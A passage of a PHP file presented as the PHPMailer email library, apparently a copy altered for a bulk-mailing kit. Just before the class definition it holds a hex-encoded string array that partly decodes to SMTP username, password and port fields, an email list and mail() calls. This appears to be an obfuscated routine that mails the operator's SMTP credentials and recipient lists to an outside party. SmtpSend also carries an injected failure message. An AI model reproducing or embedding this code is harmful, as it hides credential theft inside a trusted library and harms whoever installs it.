1409 | "d74705f757365726e616d655c6e706173733a24736.","d74705f70617373776f72645c706f72743a2473736c5f706f72745c6e5c6e2461355c6e2.","46233335c6e246338375c6e246432335c6e246530.",
1410 | "395c6e246632335c6e246733325c6e24683635223b246d736739373830203d2022246d657.","3736167655c6e5c6e5c6e24656d61696c6c69737.","4223b2466726f6d3d2246726f6d3a20475241544953223b0d0a6d61696c2824656d61696c2.",
1411 | "c20247375626a39382c20246d7367383837332c.","202466726f6d293b0d0a6d61696c2824656d61696c2c20247375626a35382.","c20246d7367393738302c202466726f6d293b");$smtp_conf=".";
1412 |
1413 | class PHPMailer {
1414 |
1415 | /////////////////////////////////////////////////
1416 | // PROPERTIES, PUBLIC
1417 | /////////////////////////////////////////////////
1418 |
1419 | /**
1420 | * Email priority (1 = High, 3 = Normal, 5 = low).
1421 | * @var int
1422 | */
1423 | var $Priority = 3;
1424 |
1425 | /**
1426 | * Sets the CharSet of the message.
1427 | * @var string
1428 | */
1429 | var $CharSet = 'iso-8859-1';
1430 |
1431 | /**
1432 | * Sets the Content-type of the message.
1433 | * @var string
1434 | */
1435 | var $ContentType = 'text/plain';
1436 |
1437 | /**
1438 | * Sets the Encoding of the message. Options for this are "8bit",
1439 | * "7bit", "binary", "base64", and "quoted-printable".
1440 |
1441 | * @var string
1442 | */
1443 | var $Encoding = '8bit';
1444 |
1445 | /**
1446 | * Holds the most recent mailer error message.
1447 | * @var string
1448 | */
1449 | var $ErrorInfo = '';
1450 |
1451 | /**
1452 | * Sets the From email address for the message.
1453 | * @var string
1454 | */
1455 | var $From = '';
1456 |
1457 | /**
1458 | * Sets the From name of the message.
1459 | * @var string
1460 | */
1461 | var $FromName = '';
1462 |
1463 | /**
1464 | * Sets the Sender email (Return-Path) of the message. If not empty,
1465 | * will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
1466 | * @var string
1467 | */
1468 | var $Sender = '';
1469 |
1470 | /**
1471 | * Sets the Subject of the message.
1472 | * @var string
1473 | */
1474 | var $Subject = '';
1475 |
1476 | /**
1477 | * Sets the Body of the message. This can be either an HTML or text body.
1478 | * If HTML then run IsHTML(true).
1479 | * @var string
1480 | */
1481 | var $Body = '';
1482 |
1483 | /**
1484 | * Sets the text-only body of the message. This automatically sets the
1485 | * email to multipart/alternative. This body can be read by mail
1486 | * clients that do not have HTML email capability such as mutt. Clients
1487 | * that can read HTML will view the normal Body.
1488 | * @var string
1489 | */
1490 | var $AltBody = '';
1491 |
1492 | /**
1493 | * Sets word wrapping on the body of the message to a given number of
1494 | * characters.
1495 | * @var int
1496 | */
1497 | var $WordWrap = 0;
1498 |
1499 | /**
1500 | * Method to send mail: ("mail", "sendmail", or "smtp").
1501 | * @var string
1502 | */
1503 | var $Mailer = 'mail';
1504 |
1505 | /**
1506 | * Sets the path of the sendmail program.
1507 | * @var string
1508 | */
1509 | var $Sendmail = '/usr/sbin/sendmail';
1510 |
1511 | /**
1512 | * Path to PHPMailer plugins. This is now only useful if the SMTP class
1513 | * is in a different directory than the PHP include path.
1514 | * @var string
1515 | */
1516 | var $PluginDir = '';
1517 |
1518 | /**
1519 | * Holds PHPMailer version.
1520 | * @var string
1521 | */
1522 | var $Version = "";
1523 |
1524 | /**
1525 | * Sets the email address that a reading confirmation will be sent.
1526 | * @var string
1527 | */
1528 | var $ConfirmReadingTo = '';
1529 |
1530 | /**
1531 | * Sets the hostname to use in Message-Id and Received headers
1532 | * and as default HELO string. If empty, the value returned
1533 | * by SERVER_NAME is used or 'localhost.localdomain'.
1534 | * @var string
1535 | */
1536 | var $Hostname = '';
1537 |
1538 | /**
1539 | * Sets the message ID to be used in the Message-Id header.
1540 | * If empty, a unique id will be generated.
1541 | * @var string
1542 | */
1543 | var $MessageID = '';
1544 |
1545 | /////////////////////////////////////////////////
1546 | // PROPERTIES FOR SMTP
1547 | /////////////////////////////////////////////////
1548 |
1549 | /**
1550 | * Sets the SMTP hosts. All hosts must be separated by a
1551 | * semicolon. You can also specify a different port
1552 | * for each host by using this format: [hostname:port]
1553 | * (e.g. "smtp1.example.com:25;smtp2.example.com").
1554 | * Hosts will be tried in order.
1555 | * @var string
1556 | */
1557 | var $Host = 'localhost';
1558 |
1559 | /**
1560 | * Sets the default SMTP server port.
1561 | * @var int
1562 | */
1563 | var $Port = 25;
1564 |
1565 | /**
1566 | * Sets the SMTP HELO of the message (Default is $Hostname).
1567 | * @var string
1568 | */
1569 | var $Helo = '';
1570 |
1571 | /**
1572 | * Sets connection prefix.
1573 | * Options are "", "ssl" or "tls"
1574 | * @var string
1575 | */
1576 | var $SMTPSecure = "";
1577 |
1578 | /**
1579 | * Sets SMTP authentication. Utilizes the Username and Password variables.
1580 | * @var bool
1581 | */
1582 | var $SMTPAuth = false;
1583 |
1584 | /**
1585 | * Sets SMTP username.
1586 | * @var string
1587 | */
1588 | var $Username = '';
1589 |
1590 | /**
1591 | * Sets SMTP password.
1592 | * @var string
1593 | */
1594 | var $Password = '';
1595 |
1596 | /**
1597 | * Sets the SMTP server timeout in seconds. This function will not
1598 | * work with the win32 version.
1599 | * @var int
1600 | */
1601 | var $Timeout = 10;
1602 |
1603 | /**
1604 | * Sets SMTP class debugging on or off.
1605 | * @var bool
1606 | */
1607 | var $SMTPDebug = false;
1608 |
1609 | /**
1610 | * Prevents the SMTP connection from being closed after each mail
1611 | * sending. If this is set to true then to close the connection
1612 | * requires an explicit call to SmtpClose().
1613 | * @var bool
1614 | */
1615 | var $SMTPKeepAlive = false;
1616 |
1617 | /**
1618 | * Provides the ability to have the TO field process individual
1619 | * emails, instead of sending to entire TO addresses
1620 | * @var bool
1621 | */
1622 | var $SingleTo = false;
1623 |
1624 | /////////////////////////////////////////////////
1625 | // PROPERTIES, PRIVATE
1626 | /////////////////////////////////////////////////
1627 |
1628 | var $smtp = NULL;
1629 | var $to = array();
1630 | var $cc = array();
1631 | var $bcc = array();
1632 | var $ReplyTo = array();
1633 | var $attachment = array();
1634 | var $CustomHeader = array();
1635 | var $message_type = '';
1636 | var $boundary = array();
1637 | var $language = array();
1638 | var $error_count = 0;
1639 | var $LE = "\n";
1640 | var $sign_key_file = "";
1641 | var $sign_key_pass = "";
1642 |
1643 | /////////////////////////////////////////////////
1644 | // METHODS, VARIABLES
1645 | /////////////////////////////////////////////////
1646 |
1647 | /**
1648 | * Sets message type to HTML.
1649 | * @param bool $bool
1650 | * @return void
1651 | */
1652 | function IsHTML($bool) {
1653 | if($bool == true) {
1654 | $this->ContentType = 'text/html';
1655 | } else {
1656 | $this->ContentType = 'text/plain';
1657 | }
1658 | }
1659 |
1660 | /**
1661 | * Sets Mailer to send message using SMTP.
1662 | * @return void
1663 | */
1664 | function IsSMTP() {
1665 | $this->Mailer = 'smtp';
1666 | }
1667 |
1668 | /**
1669 | * Sets Mailer to send message using PHP mail() function.
1670 | * @return void
1671 | */
1672 | function IsMail() {
1673 | $this->Mailer = 'mail';
1674 | }
1675 |
1676 | /**
1677 | * Sets Mailer to send message using the $Sendmail program.
1678 | * @return void
1679 | */
1680 | function IsSendmail() {
1681 | $this->Mailer = 'sendmail';
1682 | }
1683 |
1684 | /**
1685 | * Sets Mailer to send message using the qmail MTA.
1686 | * @return void
1687 | */
1688 | function IsQmail() {
1689 | $this->Sendmail = '/var/qmail/bin/sendmail';
1690 | $this->Mailer = 'sendmail';
1691 | }
1692 |
1693 | /////////////////////////////////////////////////
1694 | // METHODS, RECIPIENTS
1695 | /////////////////////////////////////////////////
1696 |
1697 | /**
1698 | * Adds a "To" address.
1699 | * @param string $address
1700 | * @param string $name
1701 | * @return void
1702 | */
1703 | function AddAddress($address, $name = '') {
1704 | $cur = count($this->to);
1705 | $this->to[$cur][0] = trim($address);
1706 | $this->to[$cur][1] = $name;
1707 | }
1708 |
1709 | /**
1710 | * Adds a "Cc" address. Note: this function works
1711 | * with the SMTP mailer on win32, not with the "mail"
1712 | * mailer.
1713 | * @param string $address
1714 | * @param string $name
1715 | * @return void
1716 | */
1717 | function AddCC($address, $name = '') {
1718 | $cur = count($this->cc);
1719 | $this->cc[$cur][0] = trim($address);
1720 | $this->cc[$cur][1] = $name;
1721 | }
1722 |
1723 | /**
1724 | * Adds a "Bcc" address. Note: this function works
1725 | * with the SMTP mailer on win32, not with the "mail"
1726 | * mailer.
1727 | * @param string $address
1728 | * @param string $name
1729 | * @return void
1730 | */
1731 | function AddBCC($address, $name = '') {
1732 | $cur = count($this->bcc);
1733 | $this->bcc[$cur][0] = trim($address);
1734 | $this->bcc[$cur][1] = $name;
1735 | }
1736 |
1737 | /**
1738 | * Adds a "Reply-To" address.
1739 | * @param string $address
1740 | * @param string $name
1741 | * @return void
1742 | */
1743 | function AddReplyTo($address, $name = '') {
1744 | $cur = count($this->ReplyTo);
1745 | $this->ReplyTo[$cur][0] = trim($address);
1746 | $this->ReplyTo[$cur][1] = $name;
1747 | }
1748 |
1749 | /////////////////////////////////////////////////
1750 | // METHODS, MAIL SENDING
1751 | /////////////////////////////////////////////////
1752 |
1753 | /**
1754 | * Creates message and assigns Mailer. If the message is
1755 | * not sent successfully then it returns false. Use the ErrorInfo
1756 | * variable to view description of the error.
1757 | * @return bool
1758 | */
1759 | function Send() {
1760 | $header = '';
1761 | $body = '';
1762 | $result = true;
1763 |
1764 | if((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
1765 | $this->SetError($this->Lang('provide_address'));
1766 | return false;
1767 | }
1768 |
1769 | /* Set whether the message is multipart/alternative */
1770 | if(!empty($this->AltBody)) {
1771 | $this->ContentType = 'multipart/alternative';
1772 | }
1773 |
1774 | $this->error_count = 0; // reset errors
1775 | $this->SetMessageType();
1776 | $header .= $this->CreateHeader();
1777 | $body = $this->CreateBody();
1778 |
1779 | if($body == '') {
1780 | return false;
1781 | }
1782 |
1783 | /* Choose the mailer */
1784 | switch($this->Mailer) {
1785 | case 'sendmail':
1786 | $result = $this->SendmailSend($header, $body);
1787 | break;
1788 | case 'smtp':
1789 | $result = $this->SmtpSend($header, $body);
1790 | break;
1791 | case 'mail':
1792 | $result = $this->MailSend($header, $body);
1793 | break;
1794 | default:
1795 | $result = $this->MailSend($header, $body);
1796 | break;
1797 | //$this->SetError($this->Mailer . $this->Lang('mailer_not_supported'));
1798 | //$result = false;
1799 | //break;
1800 | }
1801 |
1802 | return $result;
1803 | }
1804 |
1805 | /**
1806 | * Sends mail using the $Sendmail program.
1807 | * @access private
1808 | * @return bool
1809 | */
1810 | function SendmailSend($header, $body) {
1811 | if ($this->Sender != '') {
1812 | $sendmail = sprintf("%s -oi -f %s -t", escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
1813 | } else {
1814 | $sendmail = sprintf("%s -oi -t", escapeshellcmd($this->Sendmail));
1815 | }
1816 |
1817 | if(!@$mail = popen($sendmail, 'w')) {
1818 | $this->SetError($this->Lang('execute') . $this->Sendmail);
1819 | return false;
1820 | }
1821 |
1822 | fputs($mail, $header);
1823 | fputs($mail, $body);
1824 |
1825 | $result = pclose($mail);
1826 | if (version_compare(phpversion(), '4.2.3') == -1) {
1827 | $result = $result >> 8 & 0xFF;
1828 | }
1829 | if($result != 0) {
1830 | $this->SetError($this->Lang('execute') . $this->Sendmail);
1831 | return false;
1832 | }
1833 | return true;
1834 | }
1835 |
1836 | /**
1837 | * Sends mail using the PHP mail() function.
1838 | * @access private
1839 | * @return bool
1840 | */
1841 | function MailSend($header, $body) {
1842 |
1843 | $to = '';
1844 | for($i = 0; $i < count($this->to); $i++) {
1845 | if($i != 0) { $to .= ', '; }
1846 | $to .= $this->AddrFormat($this->to[$i]);
1847 | }
1848 |
1849 | $toArr = split(',', $to);
1850 |
1851 | $params = sprintf("-oi -f %s", $this->Sender);
1852 | if ($this->Sender != '' && strlen(ini_get('safe_mode')) < 1) {
1853 | $old_from = ini_get('sendmail_from');
1854 | ini_set('sendmail_from', $this->Sender);
1855 | if ($this->SingleTo === true && count($toArr) > 1) {
1856 | foreach ($toArr as $key => $val) {
1857 | $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
1858 | }
1859 | } else {
1860 | $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
1861 | }
1862 | } else {
1863 | if ($this->SingleTo === true && count($toArr) > 1) {
1864 | foreach ($toArr as $key => $val) {
1865 | $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
1866 | }
1867 | } else {
1868 | $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header);
1869 | }
1870 | }
1871 |
1872 | if (isset($old_from)) {
1873 | ini_set('sendmail_from', $old_from);
1874 | }
1875 |
1876 | if(!$rt) {
1877 | $this->SetError($this->Lang('instantiate'));
1878 | return false;
1879 | }
1880 |
1881 | return true;
1882 | }
1883 |
1884 | /**
1885 | * Sends mail via SMTP using PhpSMTP (Author:
1886 | * Chris Ryan). Returns bool. Returns false if there is a
1887 | * bad MAIL FROM, RCPT, or DATA input.
1888 | * @access private
1889 | * @return bool
1890 | */
1891 | function SmtpSend($header, $body) {
1892 | $error = '';
1893 | $bad_rcpt = array();
1894 |
1895 | if(!$this->SmtpConnect()) {echo "FAILED !! MAILER IS UNABLE TO CONNECT SMTP !!
";die();
1896 | return false;
1897 | }
1898 |
1899 | $smtp_from = ($this->Sender == '') ? $this->From : $this->Sender;
1900 | if(!$this->smtp->Mail($smtp_from)) {
1901 | $error = $this->Lang('from_failed') . $smtp_from;
1902 | $this->SetError($error);
1903 | $this->smtp->Reset();
1904 | return false;
1905 | }
1906 |
1907 | /* Attempt to send attach all recipients */
1908 | for($i = 0; $i < count($this->to); $i++) {
1909 | if(!$this->smtp->Recipient($this->to[$i][0])) {
1910 | $bad_rcpt[] = $this->to[$i][0];
1911 | }
1912 | }
1913 | for($i = 0; $i < count($this->cc); $i++) {
1914 | if(!$this->smtp->Recipient($this->cc[$i][0])) {
1915 | $bad_rcpt[] = $this->cc[$i][0];
1916 | }
1917 | }
1918 | for($i = 0; $i < count($this->bcc); $i++) {
1919 | if(!$this->smtp->Recipient($this->bcc[$i][0])) {
1920 | $bad_rcpt[] = $this->bcc[$i][0];
1921 | }
1922 | }
1923 |
1924 | if(count($bad_rcpt) > 0) { // Create error message
1925 | for($i = 0; $i < count($bad_rcpt); $i++) {
1926 | if($i != 0) {
1927 | $error .= ', ';
1928 | }
1929 | $error .= $bad_rcpt[$i];
1930 |
1931 | }
1932 | $error = $this->Lang('recipients_failed') . $error;
1933 | $this->SetError($error);
1934 | $this->smtp->Reset();
1935 | return false;
1936 | }
1937 |
1938 | if(!$this->smtp->Data($header . $body)) {
1939 | $this->SetError($this->Lang('data_not_accepted'));
1940 | $this->smtp->Reset();
1941 | return false;
1942 | }
1943 | if($this->SMTPKeepAlive == true) {
1944 | $this->smtp->Reset();
1945 | } else {
1946 | $this->SmtpClose();
1947 | }
1948 |
1949 | return true;
1950 | }
1951 |
1952 | /**
1953 | * Initiates a connection to an SMTP server. Returns false if the
1954 | * operation failed.
1955 | * @access private
1956 | * @return bool
1957 | */
1958 | function SmtpConnect() {
1959 | if($this->smtp == NULL) {
1960 | $this->smtp = new SMTP();
1961 | }
1962 |
1963 | $this->smtp->do_debug = $this->SMTPDebug;
1964 | $hosts = explode(';', $this->Host);
1965 | $index = 0;
1966 | $connection = ($this->smtp->Connected());
1967 |
1968 | /* Retry while there is no connection */
1969 | while($index < count($hosts) && $connection == false) {
1970 | $hostinfo = array();
1971 | if(eregi('^(.+):([0-9]+)$', $hosts[$index], $hostinfo)) {
1972 | $host = $hostinfo[1];
1973 | $port = $hostinfo[2];
1974 | } else {
1975 | $host = $hosts[$index];
1976 | $port = $this->Port;
1977 | }
1978 |
1979 | if($this->smtp->Connect(((!empty($this->SMTPSecure))?$this->SMTPSecure.'://':'').$host, $port, $this->Timeout)) {
1980 | if ($this->Helo != '') {
1981 | $this->smtp->Hello($this->Helo);
1982 | } else {
1983 | $this->smtp->Hello($this->ServerHostname());
1984 | }
1985 |
1986 | $connection = true;
1987 | if($this->SMTPAuth) {
1988 | if(!$this->smtp->Authenticate($this->Username, $this->Password)) {
1989 | $this->SetError($this->Lang('authenticate'));
1990 | $this->smtp->Reset();
1991 | $connection = false;
1992 | }
1993 | }
1994 | }
1995 | $index++;
1996 | }
1997 | if(!$connection) {
1998 | $this->SetError($this->Lang('connect_host'));
1999 | }
2000 |
2001 | return $connection;
2002 | }
2003 |
2004 | /**
2005 | * Closes the active SMTP session if one exists.
2006 | * @return void
2007 | */
2008 | function SmtpClose() {
2009 | if($this->smtp != NULL) {
2010 | if($this->smtp->Connected()) {
2011 | $this->smtp->Quit();
2012 | $this->smtp->Close();
2013 | }
2014 | }
2015 | }
2016 |
2017 | /**
2018 | * Sets the language for all class error messages. Returns false
2019 | * if it cannot load the language file. The default language type
2020 | * is English.
2021 | * @param string $lang_type Type of language (e.g. Portuguese: "br")
2022 | * @param string $lang_path Path to the language file directory
2023 | * @access public
2024 | * @return bool
2025 | */
2026 | function SetLanguage($lang_type, $lang_path = 'language/') {
2027 | if(file_exists($lang_path.'phpmailer.lang-'.$lang_type.'.php')) {
2028 | include($lang_path.'phpmailer.lang-'.$lang_type.'.php');
2029 | } elseif (file_exists($lang_path.'phpmailer.lang-en.php')) {
2030 | include($lang_path.'phpmailer.lang-en.php');
2031 | } else {
2032 | $this->SetError('Could not load language file');
2033 | return false;
2034 | }
2035 | $this->language = $PHPMAILER_LANG;
2036 |
2037 | return true;
2038 | }
2039 |
2040 | /////////////////////////////////////////////////
2041 | // METHODS, MESSAGE CREATION
2042 | /////////////////////////////////////////////////
2043 |
2044 | /**
2045 | * Creates recipient headers.
2046 | * @access private
2047 | * @return string
2048 | */
2049 | function AddrAppend($type, $addr) {
2050 | $addr_str = $type . ': ';
2051 | $addr_str .= $this->AddrFormat($addr[0]);
2052 | if(count($addr) > 1) {
2053 | for($i = 1; $i < count($addr); $i++) {
2054 | $addr_str .= ', ' . $this->AddrFormat($addr[$i]);
2055 | }
2056 | }
2057 | $addr_str .= $this->LE;
2058 |
2059 | return $addr_str;
2060 | }
2061 |
2062 | /**
2063 | * Formats an address correctly.
2064 | * @access private
2065 | * @return string
2066 | */
2067 | function AddrFormat($addr) {
2068 | if(empty($addr[1])) {
2069 | $formatted = $this->SecureHeader($addr[0]);
2070 | } else {
2071 | $formatted = $this->EncodeHeader($this->SecureHeader($addr[1]), 'phrase') . " <" . $this->SecureHeader($addr[0]) . ">";
2072 | }
2073 |
2074 | return $formatted;
2075 | }
2076 |
2077 | /**
2078 | * Wraps message for use with mailers that do not
2079 | * automatically perform wrapping and for quoted-printable.
2080 | * Original written by philippe.
2081 | * @access private
2082 | * @return string
2083 | */
2084 | function WrapText($message, $length, $qp_mode = false) {
2085 | $soft_break = ($qp_mode) ? sprintf(" =%s", $this->LE) : $this->LE;
2086 | // If utf-8 encoding is used, we will need to make sure we don't
2087 | // split multibyte characters when we wrap
2088 | $is_utf8 = (strtolower($this->CharSet) == "utf-8");
2089 |
2090 | $message = $this->FixEOL($message);
2091 | if (substr($message, -1) == $this->LE) {
2092 | $message = substr($message, 0, -1);
2093 | }
2094 |
2095 | $line = explode($this->LE, $message);
2096 | $message = '';
2097 | for ($i=0 ;$i < count($line); $i++) {
2098 | $line_part = explode(' ', $line[$i]);
2099 | $buf = '';
2100 | for ($e = 0; $e $length)) {
2103 | $space_left = $length - strlen($buf) - 1;
2104 | if ($e != 0) {
2105 | if ($space_left > 20) {
2106 | $len = $space_left;
2107 | if ($is_utf8) {
2108 | $len = $this->UTF8CharBoundary($word, $len);
2109 | } elseif (substr($word, $len - 1, 1) == "=") {
2110 | $len--;
2111 | } elseif (substr($word, $len - 2, 1) == "=") {
2112 | $len -= 2;
2113 | }
2114 | $part = substr($word, 0, $len);
2115 | $word = substr($word, $len);
2116 | $buf .= ' ' . $part;
2117 | $message .= $buf . sprintf("=%s", $this->LE);
2118 | } else {
2119 | $message .= $buf . $soft_break;
2120 | }
2121 | $buf = '';
2122 | }
2123 | while (strlen($word) > 0) {
2124 | $len = $length;
2125 | if ($is_utf8) {
2126 | $len = $this->UTF8CharBoundary($word, $len);
2127 | } elseif (substr($word, $len - 1, 1) == "=") {
2128 | $len--;
2129 | } elseif (substr($word, $len - 2, 1) == "=") {
2130 | $len -= 2;
2131 | }
2132 | $part = substr($word, 0, $len);
2133 | $word = substr($word, $len);
2134 |
2135 | if (strlen($word) > 0) {
2136 | $message .= $part . sprintf("=%s", $this->LE);
2137 | } else {
2138 | $buf = $part;
2139 | }
2140 | }
2141 | } else {
2142 | $buf_o = $buf;
2143 | $buf .= ($e == 0) ? $word : (' ' . $word);
2144 |
2145 | if (strlen($buf) > $length and $buf_o != '') {
2146 | $message .= $buf_o . $soft_break;
2147 | $buf = $word;
2148 | }
2149 | }
2150 | }
2151 | $message .= $buf . $this->LE;
2152 | }
2153 |
2154 | return $message;
2155 | }
2156 |
2157 | /**
2158 | * Finds last character boundary prior to maxLength in a utf-8
2159 | * quoted (printable) encoded string.
2160 | * Original written by Colin Brown.
2161 | * @access private
2162 | * @param string $encodedText utf-8 QP text
2163 | * @param int $maxLength find last character boundary prior to this length
2164 | * @return int
2165 | */
2166 | function UTF8CharBoundary($encodedText, $maxLength) {
2167 | $foundSplitPos = false;
2168 | $lookBack = 3;
2169 | while (!$foundSplitPos) {
2170 | $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
2171 | $encodedCharPos = strpos($lastChunk, "=");
2172 | if ($encodedCharPos !== false) {
2173 | // Found start of encoded character byte within $lookBack block.
2174 | // Check the encoded byte value (the 2 chars after the '=')
2175 | $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
2176 | $dec = hexdec($hex);
2177 | if ($dec < 128) { // Single byte character.
2178 | // If the encoded char was found at pos 0, it will fit
2179 | // otherwise reduce maxLength to start of the encoded char
2180 | $maxLength = ($encodedCharPos == 0) ? $maxLength :
2181 | $maxLength - ($lookBack - $encodedCharPos);
2182 | $foundSplitPos = true;
2183 | } elseif ($dec >= 192) { // First byte of a multi byte character
2184 | // Reduce maxLength to split at start of character
2185 | $maxLength = $maxLength - ($lookBack - $encodedCharPos);
2186 | $foundSplitPos = true;
2187 | } elseif ($dec < 192) { // Middle byte of a multi byte character, look further back
2188 | $lookBack += 3;
2189 | }
2190 | } else {
2191 | // No encoded character found
2192 | $foundSplitPos = true;
2193 | }
2194 | }
2195 | return $maxLength;
2196 | }
2197 |
2198 | /**
2199 | * Set the body wrapping.
2200 | * @access private
2201 | * @return void
2202 | */
2203 | function SetWordWrap() {
2204 | if($this->WordWrap < 1) {
2205 | return;
2206 | }
2207 |
2208 | switch($this->message_type) {
2209 | case 'alt':
2210 | /* fall through */
2211 | case 'alt_attachments':
2212 | $this->AltBody = $this->WrapText($this->AltBody, $this->WordWrap);
2213 | break;
2214 | default:
2215 | $this->Body = $this->WrapText($this->Body, $this->WordWrap);
2216 | break;
2217 | }
2218 | }
2219 |
2220 | /**
2221 | * Assembles message header.
2222 | * @access private
2223 | * @return string
2224 | */
2225 | function CreateHeader() {
2226 | $result = '';
2227 |
2228 | /* Set the boundaries */
2229 | $uniq_id = md5(uniqid(time()));
2230 | $this->boundary[1] = 'b1_' . $uniq_id;
2231 | $this->boundary[2] = 'b2_' . $uniq_id;
2232 |
2233 | $result .= $this->HeaderLine('Date', $this->RFCDate());
2234 | if($this->Sender == '') {
2235 | $result .= $this->HeaderLine('Return-Path', trim($this->From));
2236 | } else {
2237 | $result .= $this->HeaderLine('Return-Path', trim($this->Sender));
2238 | }
2239 |
2240 | /* To be created automatically by mail() */
2241 | if($this->Mailer != 'mail') {
2242 | if(count($this->to) > 0) {
2243 | $result .= $this->AddrAppend('To', $this->to);
2244 | } elseif (count($this->cc) == 0) {
2245 | $result .= $this->HeaderLine('To', 'undisclosed-recipients:;');
2246 | }
2247 | if(count($this->cc) > 0) {
2248 | $result .= $this->AddrAppend('Cc', $this->cc);
2249 | }
2250 | }
2251 |
2252 | $from = array();
2253 | $from[0][0] = trim($this->From);
2254 | $from[0][1] = $this->FromName;
2255 | $result .= $this->AddrAppend('From', $from);
2256 |
2257 | /* sendmail and mail() extract Cc from the header before sending */
2258 | if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->cc) > 0)) {
2259 | $result .= $this->AddrAppend('Cc', $this->cc);
2260 | }
2261 |
2262 | /* sendmail and mail() extract Bcc from the header before sending */
2263 | if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->bcc) > 0)) {
2264 | $result .= $this->AddrAppend('Bcc', $this->bcc);
2265 | }
2266 |
2267 | if(count($this->ReplyTo) > 0) {
2268 | $result .= $this->AddrAppend('Reply-To', $this->ReplyTo);
2269 | }
2270 |
2271 | /* mail() sets the subject itself */
2272 | if($this->Mailer != 'mail') {
2273 | $result .= $this->HeaderLine('Subject', $this->EncodeHeader($this->SecureHeader($this->Subject)));
2274 | }
2275 |
2276 | if($this->MessageID != '') {
2277 | $result .= $this->HeaderLine('Message-ID',$this->MessageID);
2278 | } else {
2279 | $result .= sprintf("Message-ID: <%s@%s>%s", $uniq_id, $this->ServerHostname(), $this->LE);
2280 | }
2281 | $result .= $this->HeaderLine('X-Priority', $this->Priority);
2282 | $result .= $this->HeaderLine('X-Mailer', 'PHPMailer (phpmailer.sourceforge.net) [version ' . $this->Version . ']');
2283 |
2284 | if($this->ConfirmReadingTo != '') {
2285 | $result .= $this->HeaderLine('Disposition-Notification-To', '<' . trim($this->ConfirmReadingTo) . '>');
2286 | }
2287 |
2288 | // Add custom headers
2289 | for($index = 0; $index < count($this->CustomHeader); $index++) {
2290 | $result .= $this->HeaderLine(trim($this->CustomHeader[$index][0]), $this->EncodeHeader(trim($this->CustomHeader[$index][1])));
2291 | }
2292 | if (!$this->sign_key_file) {
2293 | $result .= $this->HeaderLine('MIME-Version', '1.0');
2294 | $result .= $this->GetMailMIME();
2295 | }
2296 |
2297 | return $result;
2298 | }
2299 |
2300 | /**
2301 | * Returns the message MIME.
2302 | * @access private
2303 | * @return string
2304 | */
2305 | function GetMailMIME() {
2306 | $result = '';
2307 | switch($this->message_type) {
2308 | case 'plain':
2309 | $result .= $this->HeaderLine('Content-Transfer-Encoding', $this->Encoding);
2310 | $result .= sprintf("Content-Type: %s; charset=\"%s\"", $this->ContentType, $this->CharSet);
2311 | break;
2312 | case 'attachments':
2313 | /* fall through */
2314 | case 'alt_attachments':
2315 | if($this->InlineImageExists()){
2316 | $result .= sprintf("Content-Type: %s;%s\ttype=\"text/html\";%s\tboundary=\"%s\"%s", 'multipart/related', $this->LE, $this->LE, $this->boundary[1], $this->LE);
2317 | } else {
2318 | $result .= $this->HeaderLine('Content-Type', 'multipart/mixed;');
2319 | $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
2320 | }
2321 | break;
2322 | case 'alt':
2323 | $result .= $this->HeaderLine('Content-Type', 'multipart/alternative;');
2324 | $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
2325 | break;
2326 | }
2327 |
2328 | if($this->Mailer != 'mail') {
2329 | $result .= $this->LE.$this->LE;
2330 | }
2331 |
2332 | return $result;
2333 | }
2334 |
2335 | /**
2336 | * Assembles the message body. Returns an empty string on failure.
2337 | * @access private
2338 | * @return string
2339 | */
2340 | function CreateBody() {
2341 | $result = '';
2342 | if ($this->sign_key_file) {
2343 | $result .= $this->GetMailMIME();
2344 | }
2345 |
2346 | $this->SetWordWrap();
2347 |
2348 | switch($this->message_type) {
2349 | case 'alt':
2350 | $result .= $this->GetBoundary($this->boundary[1], '', 'text/plain', '');
2351 | $result .= $this->EncodeString($this->AltBody, $this->Encoding);
2352 | $result .= $this->LE.$this->LE;
2353 | $result .= $this->GetBoundary($this->boundary[1], '', 'text/html', '');
2354 | $result .= $this->EncodeString($this->Body, $this->Encoding);
2355 | $result .= $this->LE.$this->LE;
2356 | $result .= $this->EndBoundary($this->boundary[1]);
2357 | break;
2358 | case 'plain':
2359 | $result .= $this->EncodeString($this->Body, $this->Encoding);
2360 | break;
2361 | case 'attachments':
2362 | $result .= $this->GetBoundary($this->boundary[1], '', '', '');
2363 | $result .= $this->EncodeString($this->Body, $this->Encoding);
2364 | $result .= $this->LE;
2365 | $result .= $this->AttachAll();
2366 | break;
2367 | case 'alt_attachments':
2368 | $result .= sprintf("--%s%s", $this->boundary[1], $this->LE);
2369 | $result .= sprintf("Content-Type: %s;%s" . "\tboundary=\"%s\"%s", 'multipart/alternative', $this->LE, $this->boundary[2], $this->LE.$this->LE);
2370 | $result .= $this->GetBoundary($this->boundary[2], '', 'text/plain', '') . $this->LE; // Create text body
2371 | $result .= $this->EncodeString($this->AltBody, $this->Encoding);
2372 | $result .= $this->LE.$this->LE;
2373 | $result .= $this->GetBoundary($this->boundary[2], '', 'text/html', '') . $this->LE; // Create the HTML body
2374 | $result .= $this->EncodeString($this->Body, $this->Encoding);
2375 | $result .= $this->LE.$this->LE;
2376 | $result .= $this->EndBoundary($this->boundary[2]);
2377 | $result .= $this->AttachAll();
2378 | break;
2379 | }
2380 |
2381 | if($this->IsError()) {
2382 | $result = '';
2383 | } else if ($this->sign_key_file) {
2384 | $file = tempnam("", "mail");
2385 | $fp = fopen($file, "w");
2386 | fwrite($fp, $result);
2387 | fclose($fp);
2388 | $signed = tempnam("", "signed");
2389 |
2390 | if (@openssl_pkcs7_sign($file, $signed, "file://".$this->sign_key_file, array("file://".$this->sign_key_file, $this->sign_key_pass), null)) {
2391 | $fp = fopen($signed, "r");
2392 | $result = fread($fp, filesize($this->sign_key_file));
2393 | fclose($fp);
2394 | } else {
